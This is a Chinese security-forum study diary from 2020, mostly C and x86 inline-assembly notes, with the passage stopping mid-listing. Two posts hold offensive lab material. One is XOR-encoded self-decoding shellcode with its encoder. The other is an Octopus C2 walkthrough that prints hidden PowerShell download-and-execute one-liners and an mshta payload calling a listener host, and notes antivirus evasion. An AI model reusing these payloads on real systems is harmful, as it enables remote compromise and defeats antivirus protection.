安全矩阵

 找回密码
 立即注册
搜索
楼主: pukr

陈艺琳的学习日记

[复制链接]

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2020-2-28 00:11:52 | 显示全部楼层
2020-02-26

熬夜+不运动导致身体素质变差,头晕一天,睡了半天,无任何产出。

奉劝大家不要拿命开玩笑,我首当其冲被打击报复了。
卒。
回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2020-2-28 00:34:38 | 显示全部楼层
本帖最后由 pukr 于 2020-3-10 19:30 编辑

2020-02-27

动态解码执行,先解码一段,执行完第一段之后回到解码部分继续解码,然后继续执行第二段。

主要利用把用到的第一段shellcode、解码程序、第二段shellcode的地址依次压栈,依次retn执行。

压栈方法是计算每一段的偏移量,然后相加减,再push。

偏移量不可出差错,压栈顺序不可出差错。限制很多,我也在想怎样统一、通用。

我用到的是弹出计算器,比较狗的一点是,弹完计算器后,寄存器的值都变化了。(写到这里,我现在想到一个比较好的点子,就是先压栈再pop。明天再试了。)

我想实现shellcode解决全部问题,不要在调用shellcode时进行一些操作。

全部代码
  1. #include "stdafx.h"
  2. #include "stdio.h"
  3. #include "windows.h"
  4. #include "stdlib.h"

  5. char shellcode[]="\x89\xc6\x83\xc0\x54\x50\x83\xe8\x3d\x50\x83\xc0\x15\x50\x33\xc9\xb7\x12\x90\x90\x90\x90\x90\x90\x8a\x1c\x08\x32\xdf\x88\x1c\x08\x41\x80\xfb\x90\x74\x02\x75\xef\x90\x03\xc1\xc3"
  6. "\x21\xc9\x41\x7a\x3c\x77\x6a\x77\x7a\x71\x73\x7e\x71\x99\xc6\x78\x17\x40\xa8\x32\xc1\x69\x67\xed\xc0\x91\xd6\x1e\xa5\x01\xab\x41\x12\x12\x12\x9b\xe2\xd1\x82"  
  7. "\x98\xf6\x4e\x90\xff\x33\xd0\x83";


  8. void main(int argc, char* argv[])
  9. {
  10.         printf("begin\n");
  11.     HINSTANCE libHandle;
  12.         char *dll1="user32.dll";
  13.         char *dll2="msvcrt.dll";
  14.         char *dll3="kernel32.dll";
  15.     libHandle=LoadLibrary(dll3);
  16.         
  17.         //WinExec("calc.exe",SW_SHOW);

  18. printf("end");

  19.         __asm
  20.         {
  21.           lea eax,shellcode
  22.           call eax
  23.         }
  24. }
复制代码
编码程序
  1. #include<stdio.h>
  2. #include<string.h>
  3. #include<stdlib.h>
  4. void encoder(char *input,unsigned char key,int display_flag)
  5. {
  6.         int i=0,len=0;
  7.         FILE *fp;
  8.         unsigned char *output;
  9.         len = strlen(input);
  10.         printf("%d\n",len);
  11.         output = (unsigned char *)malloc(len+1);
  12.         if(!output)
  13.         {
  14.                 printf("memory error\n");
  15.                 exit(0);        
  16.         }
  17.         //encode the shellcode
  18.         for(i=0;i<len;i++)
  19.         {
  20.                 output[i] = input[i]^key;
  21.         }
  22.         if(!(fp=fopen("encode.txt","w+")))
  23.         {
  24.                 printf("output file creat error\n");
  25.                 exit(0);        
  26.         }
  27.         fprintf(fp,""");
  28.         for(i=0;i<len;i++)
  29.         {
  30.                 fprintf(fp,"\\x%0.2x",output[i]);
  31.                 if((i+1)%16 == 0)
  32.                 {
  33.                         fprintf(fp,""\n"");
  34.                 }
  35.         }
  36.         fprintf(fp,"";");
  37.         fclose(fp);
  38.         printf("dump the encoded shellcode to encode.txt OK!\n");
  39.         if(display_flag)//print to screen
  40.         {
  41.                 for(i=0;i<len;i++)
  42.                 {
  43.                         printf("%0.2x ",output[i]);
  44.                         if((i+1)%16 == 0)
  45.                         {
  46.                                 printf("\n");
  47.                         }
  48.                 }
  49.         }
  50.         free(output);
  51. }
  52. void main(){
  53. char *input="\x0c";
  54. encoder(input,0x12,1);
  55. }
复制代码
解码程序
  1. __asm{
  2.                 //mov edx,eax
  3.                 add eax,54
  4.                 push eax    //shellcode_1
  5.                 sub eax,3d
  6.                 push eax   //解码
  7.                 add eax,15
  8.                 push eax   //shellcode_2
  9.                 xor ecx,ecx
  10.                 mov bh,0x12
  11.                 //call decode
  12. decode:
  13.                 pop edx
  14.                 mov bl,byte ptr [eax+ecx]
  15.                 xor bl,bh
  16.                 mov byte ptr [eax+ecx],bl
  17.                 inc ecx
  18.                 cmp bl,0x90
  19.                 je next
  20.                 jne decode
  21. next:
  22.                 add eax,ecx
  23.                 retn
  24.         }
  25. }
复制代码
第一段shellcode用0x12编码,第二段用0x13编码。

我首先需要保存shellcode首地址,因为弹出计算器会导致寄存器全部变化,我把它存在了另一个寄存器中,这也导致esi的值异常。然后我目前的办法是先压栈再pop,明天再试。

在第一段与第二段之间,需要把用于计数的寄存器ecx、异或编码的bh,栈顶指针(用于retn)全部恢复。
  1. 00427344    33DB            xor     ebx, ebx
  2. 00427346    53              push    ebx
  3. 00427347    68 2E657865     push    6578652E
  4. 0042734C    68 63616C63     push    636C6163
  5. 00427351    8BD4            mov     edx, esp
  6. 00427353    6A 05           push    5
  7. 00427355    52              push    edx
  8. 00427356    BA 20D37B75     mov     edx, KERNEL32.WinExec
  9. 0042735B    FFD2            call    edx
  10. 0042735D    83C4 0C         add     esp, 0C
  11. 00427360    B7 13           mov     bh, 13
  12. 00427362    B9 53000000     mov     ecx, 53
  13. 00427367    89F0            mov     eax, esi
  14. 00427369    C3              retn
  15. 0042736A    90              nop
  16. 0042736B    8BE5            mov     esp, ebp
  17. 0042736D    5D              pop     ebp
  18. 0042736E    83EC 20         sub     esp, 20
  19. 00427371    C3              retn

复制代码




回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2020-2-29 23:05:14 | 显示全部楼层
2020-02-29

Octopus使用

powershell可以偷偷运行,exe没有被查杀。

  1. listen_http 0.0.0.0 5555 192.168.1.106 1 a.php test
复制代码

本地访问,可以打开
  1. 192.168.1.106:5555/a.php
复制代码
generate_powershell
powershell单行代码将使您能够生成powershell命令,该命令可直接从C2下载并执行有效负载。
  1. generate_powershell test
复制代码
生成三条命令,可以用任意一条测试,都会见到主机上线。
  1. Octopus >>generate_powershell test
  2. #====================
  3. 1) powershell -w hidden "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.106:5555/a.php');"

  4. 2) powershell -w hidden "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://192.168.1.106:5555/a.php');"

  5. 3) powershell -w hidden "$u = (New-Object Net.WebClient).DownloadString('http://192.168.1.106:5555/a.php');Invoke-Expression $u;"

  6. Note - For Windows 7 clients you may need to prefix the payload with "Add-Type -AssemblyName System.Core;"
  7.        e.g. powershell -w hidden "Add-Type -AssemblyName System.Core;IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.106:5555/a.php');"

  8. Hack your way in ;)
  9. #====================
复制代码

复制到powershell里执行,enter后powershell关闭,但主机持续上线。
不知道为什么,Windows 2008一直没有测试成功,win10可以看到成功。

优势在不触摸powershell.exe进程的情况下运行Octopus Windows可执行代理。
generate_hta
生成一个HTA载荷(需要监听器)
  1. generate_hta test
复制代码
  1. Octopus >>generate_hta test
  2. #====================
  3. mshta http://192.168.1.106:5555/hta
  4. spread it and wait ;)
  5. #====================
复制代码
Please note that you can edit the /hta URL using profile.py
/hta 可以更改,我的理解是这就…方便钓鱼了
可是我不会用这个= =我试过了cmd下执行hta载荷,没有上线= =
我查了一个多小时,关于mshta、关于hta载荷,没有解决
generate_exe
  1. generate_exe test ./test.exe
复制代码
没有被查杀,火绒、360均没有反应。
这边主机上线了
回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2020-3-1 23:28:10 | 显示全部楼层
本帖最后由 pukr 于 2020-3-1 23:33 编辑

第一遍看书,肯定有许多理解不到位的地方。还请斧正,无限感激。
0x01 基础篇字符集
Intel处理器在内存中存储一个字占用相继的两字节,存放时按Little-endian存入,即低字节存入低地址,高字节存入高地址。
◉ Big-endian:低字节存入高地址,高字节存入低地址
◉ Little-endian:低字节存入低地址,高字节存入高地址
一般来说,x86系列CPU是Little-endian字节序,PowerPC通常是Big-endian,因为网络协议也是Big-endian方式传输数据,所以把Big-endian也称为网络字节序。
Windows操作系统win32 API函数
一个基于C语言的接口,可由不同语言调用。
win32 API函数提供程序运行所需要的窗口管理、图形设备接口、内存管理等服务功能,这些功能以函数库的形式组织在看一起,形成Windows应用程序编程接口,简称Win API。
Windows操作系统运转的核心是动态链接。Windows提供丰富的应用程序可利用函数,这些函数采用动态链接库(dll)实现。
早期Windows的三个主要动态链接库:
◉ kernel(KERNEL32.DLL):操作系统核心功能服务,如进程与现成控制、内存管理、文件访问等。
◉ user(USER32.DLL):处理用户接口,如键盘鼠标输入、窗口、菜单管理等。
◉ GDI(GDI32.DLL):图形设备接口,如程序在屏幕和打印机上显示文本和图形。
除此之外还有很多其他的dll,包括对象安全性、注册表操作(ADVAPI32.DLL)等。
NT架构下,Win32 API接受Unicode和ASCII两种字符,其内核只使用Unicode字符集。字符转换需要占用系统资源。
在Win32 API字符集中,A表示ANSI,W表示Widechars即Unocide。前者是通常使用的单字节处理方式;后者是宽字节方式,以便处理双字节字符。每个以字符串为参数的Win32函数在操作系统中都有这两种方式的版本。例如C程序调用MessageBox函数,USER32.DLL没有32位的MessageBox函数入口。实际上有两个入口,一个名为MessageBoxA,一个名为MessageBoxW。通常程序里不需要关注,开发工具的编译模块会根据设置来决定是MessageBoxA还是MessageBoxW。
  1. #include "stdafx.h"
  2. #include "stdio.h"
  3. #include "windows.h"

  4. int main(int argc, char* argv[])
  5. {
  6.         printf("begin\n");
  7.     HINSTANCE libHandle;
  8.         char *dll="user32.dll";
  9.     libHandle=LoadLibrary(dll);
  10.         
  11.         ::MessageBox(NULL,"content","tittle",MB_OK);
  12.         printf("end");        
  13.         return 0;
  14. }
复制代码
虚拟内存
◉ 应用程序不会直接访问物理地址。
◉ 虚拟内存管理器通过虚拟地址的访问请求来控制所有物理地址的访问。
◉ 每个应用程序都有独立的4GB寻址空间,不同的应用程序的地址空间是彼此隔离的。
◉ DLL程序没有私有空间,他们总是被映射到其他应用程序的地址空间中,作为其他应用程序的一部分运行。其原因是:如果DLL不与其他应用程序处于同一个地址空间,应用程序就无法调用它。
还是以MessageBox函数为例。这是USER32.DLL的一个API函数。

这就解释了
当时不知道为什么汇编调用messagebox的时候要改为MessageBoxA,之前没改的时候一直报错。现在明白了原因。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2020-3-2 22:02:40 | 显示全部楼层
2020-03-02
《加密与解密》爆破部分,看过一遍一知半解似懂非懂。明天再看第二遍,争取把总结写下来。
回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2020-3-4 22:16:13 | 显示全部楼层
C语言笔记(一)——类型、运算符、表达式简记
2020-03-04 |  基础训练

0x01 数据类型及长度
获取分别由signed、unsigned限定的char、short、int、long类型变量的取值范围。
方法一 头文件<limits.h>中定义各类型的取值范围。
  1. #include<stdio.h>
  2. #include<limits.h>
  3. main(){
  4.         printf("signed char min = %d\n",SCHAR_MIN);
  5.         printf("signed char max = %d\n",SCHAR_MAX);
  6.         printf("signed short min = %d\n",SHRT_MIN);
  7.         printf("signed short max = %d\n",SHRT_MAX);
  8.         printf("signed int min = %d\n",INT_MIN);
  9.         printf("signed int max = %d\n",INT_MAX);
  10.         printf("signed long min = %ld\n",LONG_MIN);
  11.         printf("signed long max = %ld\n",LONG_MAX);
  12.        
  13.         printf("unsigned long max = %lu\n",ULONG_MAX);
  14.         printf("unsigned int max = %u\n",UINT_MAX);
  15.         printf("unsigned short max = %u\n",USHRT_MAX);
  16.         printf("unsigned char max = %u\n",UCHAR_MAX);
  17. }
复制代码
方法二 直接计算
先把数字0的各二进制位变成1,然后转换为unsigned类型,再右移一位去掉符号位,最后转换类型。
  1. #include<stdio.h>

  2. main(){
  3.         printf("signed char min = %d\n",-(char)((unsigned char) ~0 >> 1));
  4.         printf("signed char max = %d\n",(char)((unsigned char) ~0 >> 1));
  5.         printf("signed short min = %d\n",-(short)((unsigned short) ~0 >> 1));
  6.         printf("signed short max = %d\n",(short)((unsigned short) ~0 >> 1));
  7.         printf("signed int min = %d\n",-(int)((unsigned int) ~0 >> 1));
  8.         printf("signed int max = %d\n",(int)((unsigned int) ~0 >> 1));
  9.         printf("signed long min = %d\n",-(long)((unsigned long) ~0 >> 1));
  10.         printf("signed long max = %d\n",(long)((unsigned long) ~0 >> 1));

  11.         printf("unsigned char max = %d\n",(char)((unsigned char) ~0 >> 1));
  12.         printf("unsigned short max = %d\n",(short)((unsigned short) ~0 >> 1));
  13.         printf("unsigned int max = %d\n",(int)((unsigned int) ~0 >> 1));
  14.         printf("unsigned long max = %d\n",(long)((unsigned long) ~0 >> 1));

  15. }
复制代码
0x02 常量
从技术角度看,字符串常量就是字符数组。字符串的内部表示使用一个空字符’\0’作为字符串的结尾。这种表示方法也说明,C语言对字符串的长度没有限制。
‘x’与”x”不同,前者表示一个整数(字母x在机器字符集中对应的数值),后者是包含一个字符x和一个’\0’的字符数组。
枚举类型也是一个整形常量的列表。
  1. enum boolean {NO, YES};
复制代码
在没有显式说明的情况下,enum第一个枚举名的值为0,第二个为1,以此类推。不同枚举中名字必须互不相同,同一枚举中不同名字可以具有相同的值。
  1. enum escapes {BELL='\a', BACKSPACE='\b', TAB='\t', NEWLINE='\n'};

  2. enum months {JAN = 1, FEB, MAR, APR, MAY, JUN, JUL, AUG, SEP, OCT, NOV, DEC};
复制代码
相对于#define语句来说,它的优势在于常量值可以自动生成。尽管可以声明enum类型的变量,但编译器这种类型的变量中存储的值是否为该枚举的有效值。不过,枚举变量提供这种检查,所以枚举比#define更具优势。
任何变量的声明都可以使用const限定符限定。该限定符指定变量的值不能被修改。对数组而言,const限定符指定的所有元素都不能被修改。但是这并不意味着使内存变为只读。还可以通过指针修改。
  1. const a=1;
  2. int *b=(int*)&a;
  3. *b=2;
复制代码
这时a的值变为2。
0x03
计算字符对应的数字值:
  1. c - '0'
复制代码
因为’0’,’1’在字符集中是连续的递增序列。
0x04
返回数字x右边p位开始往右数n位的字段。
  1. unsigned getbits(unsigned x,int p,int n)
  2. {
  3.         return (x >> (p+1-n)) & ~(~0 << n);
  4. }
复制代码
其中,x >> (p+1-n)将期望获得的字段移位到字的最右端。~ 0所有位为1,~0 << n左移n位,并将右边的用0填充,再次取反获得右边全为1的字段。


回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2020-3-6 21:32:20 | 显示全部楼层
本帖最后由 pukr 于 2020-3-6 21:33 编辑

2020-03-06
C语言内嵌汇编实现模拟函数调用
内嵌汇编,目的是理解函数调用过程中堆栈的变化。
环境:VC++6.0
特征指令
程序通过调用程序来调用函数,在程序执行后又返回调用程序继续执行。函数的返回地址随参数压栈,一起传给调用函数。有多种方法可以实现,最常见的是call/ret指令。
#实例分析
交换函数。
C语言代码
  1. #include<stdio.h>
  2. void swap(int *m,int *n);
  3. void main(){
  4.         int a=2;
  5.         int b=3;
  6.         char *str1="a=%d,b=%d\n";
  7.         printf(str1,a,b);

  8.         swap(&a,&b);
  9.         printf(str1,a,b);

  10. }
  11. void swap(int *m,int *n){
  12.         int temp;
  13.         
  14.         temp=*m;
  15.         *m=*n;
  16.         *n=temp;
  17. }
复制代码
效果:




汇编实现
函数直接调用方式使程序变得简单。但也有例外,程序间接调用函数,即通过寄存器传递函数地址或者动态计算函数地址调用:
  1. call [4*eax+10h]
复制代码
汇编代码
  1. #include<stdio.h>
  2. //void swap(int *m,int *n);
  3. void main(){
  4.         int a=2;
  5.         int b=3;
  6.         char *str1="a=%d,b=%d\n";
  7.         printf(str1,a,b);

  8.         __asm{
  9.         lea eax,dword ptr [ebp-8h]
  10.         push eax
  11.         lea ecx,dword ptr [ebp-4h]
  12.         push ecx
  13.         call swap
  14.         add esp,8
  15.         mov edx,dword ptr [ebp-8h]
  16.         push edx
  17.         mov eax,dword ptr [ebp-4h]
  18.         push eax
  19.         push str1
  20.         call printf
  21.         add esp,0ch
  22.         pop edi
  23.         pop esi
  24.         pop ebx
  25.         mov esp,ebp
  26.         pop ebp
  27.         retn
  28. swap:
  29.         push ebp
  30.         mov ebp,esp
  31.         sub esp,44h
  32.         push ebx
  33.         push esi
  34.         push edi
  35.         lea edi,dword ptr [ebp-44h]
  36.         mov ecx,11h
  37.         mov eax,0xCCCCCCCC
  38.         rep stos dword ptr es:[edi]
  39.         mov eax,dword ptr [ebp+8h]
  40.         mov ecx,dword ptr [eax]
  41.         mov dword ptr [ebp-4h],ecx
  42.         mov edx,dword ptr [ebp+8h]
  43.         mov eax,dword ptr [ebp+0ch]
  44.         mov ecx,dword ptr [eax]
  45.         mov dword ptr [edx],ecx
  46.         mov edx,dword ptr [ebp+0ch]
  47.         mov eax,dword ptr [ebp-4h]
  48.         mov dword ptr [edx],eax
  49.         pop edi
  50.         pop esi
  51.         pop ebx
  52.         mov esp,ebp
  53.         pop ebp
  54.         retn        
  55. }
  56. }
复制代码


原理
参数压栈,然后返回地址压栈,寄存器压栈,分配内存空间,空间清C。之后变量赋值,程序开始。最后清理堆栈,堆栈平衡。

函数参数
函数传参有三种方式:
⊙ 栈方式(明确参数入栈顺序,并约定堆栈平衡方式)
⊙ 寄存器方式(存在哪个寄存器中)
⊙ 通过全局变量进行隐含参数传递的方式
利用栈传递参数
堆栈先进后出,栈顶指针esp指向第一个可用数据。调用函数时参数依次入栈,然后调用函数。调用后,从堆栈中取数据并进行计算,然后由调用者本身恢复堆栈,使堆栈平衡。
调用约定

[td]
约定类型
__cdecl
pascal
stdcall
Fastcall
参数传递顺序
从右到左
从左到右
从右到左
使用寄存器和栈
平衡堆栈
调用者
子程序
子程序
子程序
允许使用VARARG

⊙ C规范(即cdecl)是C和C++默认调用约定。
⊙ stdcall是Win32API采用的约定方式。其中wsprintf采用
cdecl。


[td]
__cdecl
pascal
stdcall
push par3
push par1
push par3
push par2
push par2
push par2
push par1
push par3
push par1
call test
call test
call test
add esp,0c

一般通过ebp来存取栈,以上面的swap函数为例。
(1)当前esp为K。
(2)根据stdcall,b先入栈,此时esp移动一个存储单元到K-04h。
(3)a入栈,esp继续移动一个存储单元至K-08h。
(4)call指令。执行call指令会把call下一个地址压栈,即返回地址。此时esp为K-0Ch。
(5)为保证恢复时的ebp,所以把ebp先push再pop。此时esp是K-10h。
(6)mov ebp,esp。ebp作为基址指针,[ebp+8]是参数一,[ebp+C]是参数二。
(7)sub esp,xxx为定义局部变量。局部变量一[ebp-4],局部变量二[ebp-8]。调用结束时通过add esp,xxx释放局部变量占用的栈。即子函数调用完局部变量就不在有作用。
(8)ret 8表示先ret再add esp,8。
此外,enter和leave指令可以帮助对栈的维护。
  1. enter语句相当于:

  2. push ebp
  3. mov ebp,esp
  4. add esp,xxx
复制代码
  1. push b
  2. push a
  3. call swap
  4. add esp,8
  5. swap:
  6. mov eax,dword ptr [esp+04h]
  7. mov ecx,dword ptr [esp+08h]
  8. ...

  9. retn
复制代码
利用寄存器传参
一般没有标准。但大多数编译器都在不对兼容性进行声明的情况下遵循相应规范,即Fastcall规范。
不同编译器稍有不同。VC++6.0规定左边两个不大于4字节的参数分别在ecx和edx中,寄存器用完后,其余参数从右至左入栈。浮点值、远指针、__int64类型总是通过栈传参。
Borland Delphi/C++编译器左边三个不大于四字节的参数分别存在eax,edx,ecx中。寄存器用完后,其余参数按照pascal约定从左至右入栈。
另一个编译器Watcom C通过寄存器传参。依次使用eax,edx,ebx
实际上可以指定任意寄存器。在不指定的情况下通过Fastcall约定完成。
利用寄存器而不是堆栈传参:

  1. #include<stdio.h>
  2. void main(){
  3.         int a=2;
  4.         int b=3;
  5.         char *str1="a=%d,b=%d\n";
  6.         printf(str1,a,b);

  7.         __asm{
  8.         lea edx,dword ptr [ebp-8h]
  9.         lea ecx,dword ptr [ebp-4h]
  10.         call swap
  11.         push eax
  12.         push ecx
  13.         push str1
  14.         call printf
  15.         add esp,0ch
  16.         pop edi
  17.         pop esi
  18.         pop ebx
  19.         add esp,4ch
  20.         mov ebp,esp
  21.         pop ebp
  22.         retn
  23. swap:
  24.         push ebp
  25.         mov ebp,esp
  26.         sub esp,4ch
  27.         push ebx
  28.         push esi
  29.         push edi
  30.         push ecx
  31.         lea edi,dword ptr [ebp-4ch]
  32.         mov ecx,13h
  33.         mov eax,0xCCCCCCCC
  34.         rep stos dword ptr es:[edi]
  35.         pop ecx
  36.         mov dword ptr [ebp-08h],edx
  37.         mov dword ptr [ebp-04h],ecx
  38.         mov eax,dword ptr [ebp-04h]
  39.         mov ecx,dword ptr [eax]
  40.         mov dword ptr [ebp-0ch],ecx
  41.         mov edx,dword ptr [ebp-04h]
  42.         mov eax,dword ptr [ebp-08h]
  43.         mov ecx,dword ptr [eax]
  44.         mov dword ptr [edx],ecx
  45.         mov edx,dword ptr [ebp-08h]
  46.         mov eax,dword ptr [ebp-0ch]
  47.         mov dword ptr [edx],eax
  48.         pop edi
  49.         pop esi
  50.         pop ebx
  51.         mov esp,ebp
  52.         pop ebp
  53.         retn
  54. }
  55. }
复制代码
另外,thiscall约定也采用寄存器传参。thiscall是C++中的非静态类成员函数的默认调用约定,对象每个函数隐含接收this参数。thiscall从右到左顺序压栈,子函数返回前清理堆栈。
仅通过ecx传递额外指针this指针。
名称修饰约定
为允许使用操作符和函数重载,C++编译器往往会按照某种规则该写每一个入口点的符号名,从而允许同一个名字(具有不同的参数类型或者不同的作用域)有多个用法且不会破坏现有的基于C的链接器。
在VC++中,函数修饰名由编译类型(C/C++),函数名、类名、调用约定、返回类型、参数等共同决定。简单来说:
C:
stdcall 函数名前加下划线,后接@ +参数字节数“_functionname@number”。
__cdecl 函数名前加下划线。“_functionname”
Fastcall 函数名前加@,后接@ +参数字节数“@functionname@number”
均不改变函数名中的字符大小写。但是pascal约定输出的函数名不能有修饰且只能是大写。
C++:
待完善。
函数返回值return操作符
一般情况下,返回值放在eax寄存器中,如果结果大小超出eax的容量,高32位就会放在edx中。
传引用方式传参的返回值
函数传参有两种方式,传值和传引用。
传值调用时,会建立一份参数的副本,把它传给子函数,子函数中修改参数值不会影响到参数原本的值。
传引用调用允许调用函数修改原始变量的值。调用函数时,把变量地址传给函数就可以修改内存单元中变量的值。
为局部变量分配内存空间sub esp,44
寄存器入栈、空间清C(初始化变量,将原来内存中的脏数据全部置为CCCCCCCC):
int i的话内存就为CCCCCCCC,int i=1的话内存就是00000001。
总结
1.call printf按顺序输出,先入栈的后输出。
2.寻址花了很长时间。(刚刚看汇编5天,数据结构也还没学过,C语言也还停留在大一上水平)所以改变寻址调试好久,这里需要注意。
3.调试过程划重点。
4.一个月后,回来修改补充了本文。我已经忘了为什么寻址会花很长时间,明明这个没有什么难跳转的地址。



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2020-3-8 14:17:32 | 显示全部楼层
本帖最后由 pukr 于 2020-3-8 20:57 编辑

不会删除。
回复

使用道具 举报

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
 楼主| 发表于 2020-3-8 20:56:37 | 显示全部楼层
汇编语言——结构
2020-03-08 |  基础训练

控制、循环等。
环境:VC++6.0
0x00 变量名和地址
变量名的本质
变量实质上是一块内存空间,这块内存的值一般是可以更改的。还可以通过const等修饰符来限定这一内存区域的操作特性,即变量的操作特性。虽然修饰了变量,但是const修饰可以通过指针来修改。
变量名是一个标识符,用来指代一块内存区域,即变量。
机器码中不会出现变量名,出现的都是地址/偏移量。
除了变量名外,其他的名如函数名、数组名、指针名、标识符常量名、结构名、类名等。
指针名、函数名、数组名就是地址,分别表示指针所指向变量的地址、数组首地址和函数入口地址。
变量名不直接表示地址,可以通过加取址符&的形式来获取地址。
类和结构只有实例化时才为他分配空间,从而不能用取址符&来获得类名和结构名的地址。
0x01 控制语句if-then-else
汇编时,整数用cmp指令进行比较,浮点值用fcom、fcomp等指令进行比较。通常形如:
  1. cmp a,b
  2. jz/jnz
复制代码

实际上很多时候编译器都选择test或者xor等较短的逻辑指令来替换cmp指令,test eax,eax,若eax的值为0,则其与运算结果为0,设置ZF为1。
补充标志寄存器相关:
1、进位标志CF(Carry Flag)
进位标志CF主要用来反映运算是否产生进位或借位。如果运算结果的最高位产生了一个进位或借位,那么,其值为1,否则其值为0。
使用该标志位的情况有:多字(字节)数的加减运算,无符号数的大小比较运算,移位操作,字(字节)之间移位,专门改变CF值的指令等。
2、奇偶标志PF(Parity Flag)
奇偶标志PF用于反映运算结果中“1”的个数的奇偶性。如果“1”的个数为偶数,则PF的值为1,否则其值为0。
利用PF可进行奇偶校验检查,或产生奇偶校验位。在数据传送过程中,为了提供传送的可靠性,如果采用奇偶校验的方法,就可使用该标志位。
3、辅助进位标志AF(Auxiliary Carry Flag)
在发生下列情况时,辅助进位标志AF的值被置为1,否则其值为0:
(1)、在字操作时,发生低字节向高字节进位或借位时;
(2)、在字节操作时,发生低4位向高4位进位或借位时。
对以上6个运算结果标志位,在一般编程情况下,标志位CF、ZF、SF和OF的使用频率较高,而标志位PF和AF的使用频率较低。
4、零标志ZF(Zero Flag)
零标志ZF用来反映运算结果是否为0。如果运算结果为0,则其值为1,否则其值为0。在判断运算结果是否为0时,可使用此标志位。
5、符号标志SF(Sign Flag)
符号标志SF用来反映运算结果的符号位,它与运算结果的最高位相同。在微机系统中,有符号数采用补码表示法,所以,SF也就反映运算结果的正负号。运算结果为正数时,SF的值为0,否则其值为1。
6、溢出标志OF(Overflow Flag)
溢出标志OF用于反映有符号数加减运算所得结果是否溢出。如果运算结果超过当前运算位数所能表示的范围,则称为溢出,OF的值被置为1,否则,OF的值被清为0。
“溢出”和“进位”是两个不同含义的概念,不要混淆。如果不太清楚的话,请查阅《计算机组成原理》课程中的有关章节。
用到的是ZF。
实例:
C语言代码:
  1. #include<stdio.h>
  2. int main(void){
  3.         int a,b=5;
  4.         char *str1="%d";
  5.         scanf(str1,&a);
  6.         //printf(str1,a);

  7.         if(a==0)
  8.                 a=8;
  9.         return a+b;
  10. }
复制代码

改写成内嵌汇编:
没有用到cmp,用到了test指令。
  1. #include<stdio.h>
  2. int main(void){
  3.         int a,b=5;
  4.         char *str1="%d";
  5.         /*scanf(str1,&a);
  6.         //printf(str1,a);

  7.         if(a==0)
  8.                 a=8;
  9.         return a+b;*/
  10.         __asm{
  11.         lea eax,dword ptr [ebp-4]
  12.         push eax
  13.         push str1
  14.         call scanf
  15.         add esp,8
  16.         test eax,eax
  17.         jz aa
  18.         mov eax,8
  19.         aa:
  20.         add eax,5
  21.         pop edi
  22.         pop esi
  23.         pop ebx
  24.         add esp,4ch
  25.         mov ebp,esp
  26.         pop ebp
  27.         retn
  28. }
  29. }
复制代码
switch-case
C语言代码:
  1. #include<stdio.h>
  2. int main(void){
  3.         int a;
  4.         char *str0="%d";
  5.         char *str1="a=1";
  6.         char *str2="a=3";
  7.         char *str3="a=5";
  8.         char *str4="a=default";
  9.         scanf(str0,&a);

  10.         switch(a)
  11.         {
  12.         case 1:
  13.                 printf(str1);
  14.                 break;
  15.         case 3:
  16.                 printf(str2);
  17.                 break;
  18.         case 5:
  19.                 printf(str3);
  20.                 break;
  21.         default:
  22.                 printf(str4);
  23.                 break;
  24.        
  25.         }
  26.         return 0;
  27. }
复制代码

如果不进行优化,编译时优化选项设置为default,则产生的汇编代码是这样的:
  1. #include<stdio.h>
  2. int main(void){
  3.         int a;
  4.         char *str0="%d";
  5.         char *str1="a=1";
  6.         char *str2="a=3";
  7.         char *str3="a=5";
  8.         char *str4="a=default";
  9.         /*scanf(str0,&a);

  10.         switch(a)
  11.         {
  12.         case 1:
  13.                 printf(str1);
  14.                 break;
  15.         case 3:
  16.                 printf(str2);
  17.                 break;
  18.         case 5:
  19.                 printf(str3);
  20.                 break;
  21.         default:
  22.                 printf(str4);
  23.                 break;
  24.        
  25.         }
  26.         return 0;*/
  27.         __asm{
  28.         lea eax,dword ptr [ebp-04h]
  29.         push eax
  30.         push str0
  31.         call scanf
  32.         add esp,8
  33.         mov edx,dword ptr [ebp-04h]
  34.         mov dword ptr [ebp-1ch],edx
  35.         cmp dword ptr [ebp-1ch],1
  36.         je p1
  37.         cmp dword ptr [ebp-1ch],3
  38.         je p3
  39.         cmp dword ptr [ebp-1ch],5
  40.         je p5
  41.         jmp pf
  42.         p1:
  43.         push str1
  44.         call printf
  45.         add esp,4
  46.         jmp end
  47.         p3:
  48.         push str2
  49.         call printf
  50.         add esp,4
  51.         jmp end
  52.         p5:
  53.         push str3
  54.         call printf
  55.         add esp,4
  56.         jmp end
  57.         pf:
  58.         push str4
  59.         call printf
  60.         add esp,4
  61.         jmp end
  62.         end:
  63.         xor eax,eax
  64.         pop edi
  65.         pop esi
  66.         pop ebx
  67.         add esp,5ch
  68.         mov esp,ebp
  69.         pop ebp
  70.         retn
  71. }
  72. }
复制代码

然后optimization选项设置为Maximizi Speed,产生了优化后的汇编代码:
由于设置了一些字符串,所以多出了一些内存,严格来说不算是Maximize优化的,但是switch语句部分优化过,内存分配也优化过。
  1. #include<stdio.h>
  2. int main(void){
  3.         int a;
  4.         char *str0="%d";
  5.         char *str1="a=1";
  6.         char *str2="a=3";
  7.         char *str3="a=5";
  8.         char *str4="a=default";
  9.         /*scanf(str0,&a);

  10.         switch(a)
  11.         {
  12.         case 1:
  13.                 printf(str1);
  14.                 break;
  15.         case 3:
  16.                 printf(str2);
  17.                 break;
  18.         case 5:
  19.                 printf(str3);
  20.                 break;
  21.         default:
